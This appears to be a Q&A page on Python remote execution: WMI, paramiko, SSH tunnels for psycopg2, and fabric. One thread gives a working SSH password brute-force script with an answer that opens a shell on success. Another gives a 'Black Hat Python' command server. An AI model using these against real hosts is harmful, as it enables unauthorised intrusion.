Subprocess to execute commands on Windows machine - python

I am trying to connect to remote Windows machine and from commandline execute few commands. Commands are like: I have executable in a certain folder, go to that folder and run the command
InstallUtil.exe <exe_name>
Here is my code:
class WindowsMachine:
def __init__(self, hostname, username, password):
self.hostname = hostname
self.username = username
self.password = password
# self.remote_path = hostname
try:
print("Establishing connection to .....%s" %self.hostname)
connection = wmi.WMI(self.hostname, user=self.username, password=self.password)
print("Connection established")
try:
print(os.listdir(r"C:\Program Files\BISYS\BCE"))
a = subprocess.check_output(["InstallUtil.exe","IamHere.exe"], cwd="C:/Program Files/ABC/BCD/",stderr=subprocess.STDOUT)
print(a)
except subprocess.CalledProcessError as e:
raise RuntimeError("command '{}' return with error (code {}): {}".format(e.cmd, e.returncode, e.output))
except wmi.x_wmi:
print("Could not connect to machine")
raise
w = WindowsMachine(hostname,username,password)
print(w)
print(w.run_remote())
But I am getting error saying:
WindowsError: [Error 2] The system cannot find the file specified

As stated in the comments, if your goal is to run process on the remote Windows machine first of all you should keep your remote connection open, so instead of storing it in local variable connection store it in class member self.connection.
Now, to execute command on the remote machine using WMI, you should do something like this(WMI tutorial):
class ConnectToRemoteWindowsMachine:
def __init__(self, hostname, username, password):
self.hostname = hostname
self.username = username
self.password = password
# self.remote_path = hostname
try:
print("Establishing connection to .....%s" %self.hostname)
self.connection = wmi.WMI(self.hostname, user=self.username, password=self.password)
print("Connection established")
except wmi.x_wmi:
print("Could not connect to machine")
raise
def run_remote(self, async=False, minimized=True):
SW_SHOWNORMAL = 1
process_startup = self.connection.Win32_ProcessStartup.new()
process_startup.ShowWindow = SW_SHOWNORMAL
process_id, result = c.Win32_Process.Create(
CommandLine="notepad.exe",
ProcessStartupInformation=process_startup
)
if result == 0:
print "Process started successfully: %d" % process_id
else:
raise RuntimeError, "Problem creating process: %d" % result
w = ConnectToRemoteWindowsMachine(hostname,username,password)
print(w)
print(w.run_remote())

Related

Creating Python SSHServer

error message in terminalhelp I am trying to create an ssh server in python according to the book blackhat python, when I run this code I get "FileNotFoundError: [Errno 2] No such file or directory: '/home/burp/blackhatpy/.test_rsa.key'"
do I need to create the file .test_rsa.key? Help!! am a beginner and new to python, the image is what error i get When i try to run the server
import os
import paramiko
import socket
import sys
import threading
CWD = os.path.dirname(os.path.realpath(__file__))
HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD, '.test_rsa.key'))
class Server (paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == 'tim') and (password == 'sekret'):
return paramiko.AUTH_SUCCESSFUL
if __name__ == '__main__':
server = '137.184.226.245'
ssh_port = 2222
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server, ssh_port))
sock.listen(100)
print('[+] Listening for connection ...')
client, addr = sock.accept()
except Exception as e:
print('[-] Listen failed: ' + str(e))
sys.exit(1)
else:
print(f'[+] Got a connection! from {addr}')
bhSession = paramiko.Transport(client)
bhSession.add_server_key(HOSTKEY)
server = Server()
bhSession.start_server(server=server)
chan = bhSession.accept(20)
if chan is None:
print('*** No channel.')
sys.exit(1)
print('[+] Authenticated!')
print(chan.recv(1024).decode())
chan.send('Welcome to bh_ssh')
try:
while True:
command = input("Enter command: ")
if command != 'exit':
chan.send(command)
r = chan.recv(8192)
print(r.decode())
else:
chan.send('exit')
print('exiting')
bhSession.close()
break
except KeyboardInterrupt:
bhSession.close()
In the book you refer to, where it presents the code that you've included here, it tells you where to get the SSH key file that should be used to run that code. It says:
For this example, we’re using the SSH key included in the Paramiko demo files.
That file can be found here:
https://github.com/paramiko/paramiko/blob/main/demos/test_rsa.key
The code you provide refers to a file with the name ".test_rsa.key". In the copy of the book that I have, the leading period (.) is not there. I only mention this in case you wonder why the file name in your version of the code is slightly different than that of the file I mention above.
You are missing the file test_rsa.key
On Ubuntu you can use the following command to download on the path you specified "/home/burp/blackhatpy/.test_rsa.key":
wget https://raw.githubusercontent.com/paramiko/paramiko/main/demos/test_rsa.key -O /home/burp/blackhatpy/.test_rsa.key

SSH Bruteforce in Python. Script works fine but I'm not getting the shell

I wrote this python script that goes through a password dictionary and tries to do an SSH login on a given IP address. The script is working fine, as it correctly gives the password. But the issue is that I'm not able to retain the SSH shell of the remote machine. I tried to insert some code after performing the response == 0 check, before the sys.exit(0) part, and even by removing sys.exit(0); but none of them have worked so far. I tried to mess around with subprocess & Popen but still no success. All I want is my program to not exit, but instead give an SSH shell when it hits a correct password.
#!/bin/env/ python3
import paramiko, os, sys, socket
from subprocess import Popen, PIPE
global username, pass_file, target_ip
try:
username = input ("Please enter the username at the target machine> ")
path = input ("Please enter the path & name of the file containing the passwords> ")
if os.path.exists(path) == False:
print ("The password file does not exist!")
sys.exit(1)
target_ip = input ("Please enter the IP address of the target> ")
try:
socket.inet_aton(target_ip)
except socket.error as e:
print (e)
sys.exit(2)
except KeyboardInterrupt:
print ("\nUser has interrupted the execution!\n")
def ssh_connect(password, ret_code = 0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(target_ip, port=22, username=username,password=password)
except paramiko.AuthenticationException:
print ("Failed to authenticate! Password: %s" % (password))
ret_code = 3
except socket.error as e:
ret_code = 4
ssh.close()
return ret_code
pass_file = open(path, 'r', encoding="ISO-8859-1")
for i in pass_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print ("Login successful! Password is: %s" % (password))
# insert function call here
sys.exit(0)
elif response == 1:
print ("Login failed! Incorrect password: %s " % (password))
elif response == 2:
print ("Connection to the target failed!")
sys.exit(5)
except Exception as e:
print (e)
pass
pass_file.close()
Maybe what you want is to input some text to be executed by the ssh terminal ?
Or you can also start an interactive session with invoke_shell
def ssh_connect(password, ret_code = 0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(target_ip, port=22, username=username,password=password)
cmd = input("type something") # will wait user input
# ssh.exec_command(cmd) # will execute what the user entered
# or
ssh.invoke_shell() # will open an interactive shell
except paramiko.AuthenticationException:
print ("Failed to authenticate! Password: %s" % (password))
ret_code = 3
except socket.error as e:
ret_code = 4
ssh.close() # maybe don't close it if you want to keep the shell open
return ret_code

Paramiko raises 'AuthenticationException' sometimes

This is one of those rare cases that it's nearly impossible to reproduce, but I've seen it happen 4 times out of 20.
Here's my open_session method:
def open_session:
self.session = paramiko.SSHClient()
self.host = host
self.username = username
self.password = password
self.session.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
self.session.connect(self.host, username=self.username, port=port, password=self.password, timeout=self.connect_timeout)
except paramiko.ssh_exception.BadHostKeyException:
message = "host key could not be verified"
self.sys_conf.logger.warning(message)
raise BadCredentials(message)
except paramiko.ssh_exception.AuthenticationException:
message = "authentication failed."
self.sys_conf.logger.warning(message)
raise BadCredentials(message)
except (paramiko.ssh_exception.SSHException, socket.error) as e:
message = "could not establish connection, an error occurred: {}".format(e)
self.sys_conf.logger.warning(message)
raise ConnectionFail(message)
except socket.timeout:
message = "could not establish connection, time's out!"
self.sys_conf.logger.warning(message)
raise ConnectionFail(message)
Any particular reason why Paramiko does this?
It should be:
self.session = paramiko.SSHClient()
self.host = host
self.username = username
self.password = password
self.session.load_system_host_keys() # u missed this
self.session.set_missing_host_key_policy(paramiko.AutoAddPolicy())
load_system_host_keys(filename=None)
Load host keys from a system (read-only) file. Host keys read with this method will not be saved back by save_host_keys.
poaramiko
Upon further investigation, it turns out that it's an issue with the machine itself. The code mentioned in my initial question is good as is and worked 300 times in a row without fail on another, more stable machine.

Psycopg2 access PostgreSQL database on remote host without manually opening ssh tunnel

My standard procedure for accessing a PostgreSQL database on a remote server is to first create an ssh tunnel as:
ssh username1#remote.somewhere.com -L 5432:localhost:5432 -p 222
and then run my query in python from another shell as:
conn = psycopg2.connect("host=localhost" + " dbname=" +
conf.dbname + " user=" + conf.user +
" password=" + conf.password)
cur = conn.cursor()
cur.execute(query)
This piece of python code works nicely once the tunnel is created. However, I would like psycopg2 to already open the SSH tunnel or reach "somehow" the remote database without need to redirect it on my localhost.
Is it possible to do this with psycopg2?
Is otherwise possible open the ssh tunnel in my python code?
if I use:
os.system("ssh username1#remote.somewhere.com -L 5432:localhost:5432 -p 222")
The shell will be redirected to the remote host blocking the execution of main thread.
You could also use sshtunnel, short and sweet:
from sshtunnel import SSHTunnelForwarder
PORT=5432
with SSHTunnelForwarder((REMOTE_HOST, REMOTE_SSH_PORT),
ssh_username=REMOTE_USERNAME,
ssh_password=REMOTE_PASSWORD,
remote_bind_address=('localhost', PORT),
local_bind_address=('localhost', PORT)):
conn = psycopg2.connect(...)
With sshtunnel package
I was not familiar with SSH tunnels, so I had some difficulties to use mrts's answer.
Maybe thoses precisions could help someone.
In psycopg2.connect(), host and port are the one you just created by connecting remote host by ssh tunnel.
Here is my code :
from sshtunnel import SSHTunnelForwarder
server = SSHTunnelForwarder((REMOTE_HOST, REMOTE_SSH_PORT),
ssh_username=REMOTE_USERNAME,
ssh_password=REMOTE_PASSWORD,
remote_bind_address=('localhost', PORT),
local_bind_address=('localhost', PORT))
server.start()
import psycopg2
conn = psycopg2.connect(
database=DATABASE,
user=USER,
host=server.local_bind_host,
port=server.local_bind_port,
password=PWD)
cur = conn.cursor()
cur.execute("select * from yourtable limit 1;")
data = cur.fetchall()
print(data)
I hope this example make it clearer.
Call your ssh via os.system in a separate thread/process. You can also use -N with ssh to avoid opening a remote shell.
Clodoaldo Neto's code worked for me perfectly but beware it doesn't clean up the process afterward.
The method shown by Luca Fiaschi also works for me. I updated it a bit for python3 and the updated psutil module. The changes were just that process.username and process.cmdline are now functions and that the iterator is process_iter() instead of get_process_list().
Here is an example of a very slightly modified version of the code Luca Fiaschi posted that works with python3 (requires psutil module). I hope it is at least mostly correct!
#!/usr/bin/env python3
import psutil
import psycopg2
import subprocess
import time
import os
# Tunnel Config
SSH_HOST = "111.222.333.444"
SSH_USER = "user"
SSH_KEYFILE = "key.pem"
SSH_FOREIGN_PORT = 5432 # Port that postgres is running on the foreign server
SSH_INTERNAL_PORT = 5432 # Port we open locally that is forwarded to
# FOREIGN_PORT on the server.
# Postgres Config
DB_HOST = "127.0.0.1"
DB_PORT = SSH_INTERNAL_PORT
DB_PASSWORD = "password"
DB_DATABASE = "postgres"
DB_USER = "user"
class SSHTunnel(object):
"""
A context manager implementation of an ssh tunnel opened from python
"""
def __init__(self, tunnel_command):
assert "-fN" in tunnel_command, "need to open the tunnel with -fN"
self._tunnel_command = tunnel_command
self._delay = 0.1
self.ssh_tunnel = None
def create_tunnel(self):
tunnel_cmd = self._tunnel_command
ssh_process = subprocess.Popen(tunnel_cmd, universal_newlines=True,
shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
stdin=subprocess.PIPE)
# Assuming that the tunnel command has "-f" and "ExitOnForwardFailure=yes", then the
# command will return immediately so we can check the return status with a poll().
while True:
p = ssh_process.poll()
if p is not None: break
time.sleep(self._delay)
if p == 0:
# Unfortunately there is no direct way to get the pid of the spawned ssh process, so we'll find it
# by finding a matching process using psutil.
current_username = psutil.Process(os.getpid()).username()
ssh_processes = [proc for proc in psutil.process_iter() if proc.cmdline() == tunnel_cmd.split() and proc.username() == current_username]
if len(ssh_processes) == 1:
self.ssh_tunnel = ssh_processes[0]
return ssh_processes[0]
else:
raise RuntimeError('multiple (or zero?) tunnel ssh processes found: ' + str(ssh_processes))
else:
raise RuntimeError('Error creating tunnel: ' + str(p) + ' :: ' + str(ssh_process.stdout.readlines()))
def release(self):
""" Get rid of the tunnel by killin the pid
"""
if self.ssh_tunnel:
self.ssh_tunnel.terminate()
def __enter__(self):
self.create_tunnel()
return self
def __exit__(self, type, value, traceback):
self.release()
def __del__(self):
self.release()
command = "ssh -i %s %s#%s -fNL %d:localhost:%d"\
% (SSH_KEYFILE, SSH_USER, SSH_HOST, SSH_INTERNAL_PORT, SSH_FOREIGN_PORT)
with SSHTunnel(command):
conn = psycopg2.connect(host = DB_HOST, password = DB_PASSWORD,
database = DB_DATABASE, user = DB_USER, port = DB_PORT)
curs = conn.cursor()
sql = "select * from table"
curs.execute(sql)
rows = curs.fetchall()
print(rows)
For the moment I am using a solution bsed on this gist:
class SSHTunnel(object):
"""
A context manager implementation of an ssh tunnel opened from python
"""
def __init__(self, tunnel_command):
assert "-fN" in tunnel_command, "need to open the tunnel with -fN"
self._tunnel_command = tunnel_command
self._delay = 0.1
def create_tunnel(self):
tunnel_cmd = self._tunnel_command
import time, psutil, subprocess
ssh_process = subprocess.Popen(tunnel_cmd, universal_newlines=True,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
stdin=subprocess.PIPE)
# Assuming that the tunnel command has "-f" and "ExitOnForwardFailure=yes", then the
# command will return immediately so we can check the return status with a poll().
while True:
p = ssh_process.poll()
if p is not None: break
time.sleep(self._delay)
if p == 0:
# Unfortunately there is no direct way to get the pid of the spawned ssh process, so we'll find it
# by finding a matching process using psutil.
current_username = psutil.Process(os.getpid()).username
ssh_processes = [proc for proc in psutil.get_process_list() if proc.cmdline == tunnel_cmd.split() and proc.username == current_username]
if len(ssh_processes) == 1:
self.ssh_tunnel = ssh_processes[0]
return ssh_processes[0]
else:
raise RuntimeError, 'multiple (or zero?) tunnel ssh processes found: ' + str(ssh_processes)
else:
raise RuntimeError, 'Error creating tunnel: ' + str(p) + ' :: ' + str(ssh_process.stdout.readlines())
def release(self):
""" Get rid of the tunnel by killin the pid
"""
self.ssh_tunnel.terminate()
def __enter__(self):
self.create_tunnel()
return self
def __exit__(self, type, value, traceback):
self.release()
def __del__(self):
self.release()
def test():
#do things that will fail if the tunnel is not opened
print "done =========="
command = "ssh username#someserver.com -L %d:localhost:%d -p 222 -fN" % (someport, someport)
with SSHTunnel(command):
test()
Please let me know if anybody has a better idea
from time import sleep
os.system("ssh username1#remote.somewhere.com -fNL 5432:localhost:5432 -p 222")
while True:
try:
conn = psycopg2.connect(
"host=localhost dbname={0} user={1} password={2}".format(
conf.dbname, conf.user, conf.password
)
)
break
except psycopg2.OperationalError:
sleep(3)

fabric without fabfile - run and sudo gives error, but not local

Hi I am using following code in a python script (not running fab from command line), at line A when I change local to run or sudo, it gives me error like:
No hosts found. Please specify (single) host string for connection:
Code is:
env.host = "XXXX"
env.user = "XXX"
def execute():
local('uname -a') ### A : changing this gives error ###
execute()
My objective is to ssh into a single host machine.
According to the fabric docs, if you are calling tasks from the python script - you should use fabric.tasks.execute:
from fabric.tasks import execute
from fabric.api import *
env.user = "XXX"
def execute_task():
sudo('uname -a')
execute(execute_task, host="XXX")
Hope that helps.
Why not use paramiko:
import sys
import traceback
import paramiko
paramiko.util.log_to_file('session.log')
username = 'someuser'
port = 22
hostname = 'foo.bar.com'
try:
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy)
client.connect(hostname, port, username, password)
chan = client.invoke_shell()
print repr(client.get_transport())
print '*** Here we go!'
print
interactive.interactive_shell(chan)
chan.close()
client.close()
except Exception, e:
print '*** Caught exception: %s: %s' % (e.__class__, e)
traceback.print_exc()
try:
client.close()
except:
pass
sys.exit(1)

Categories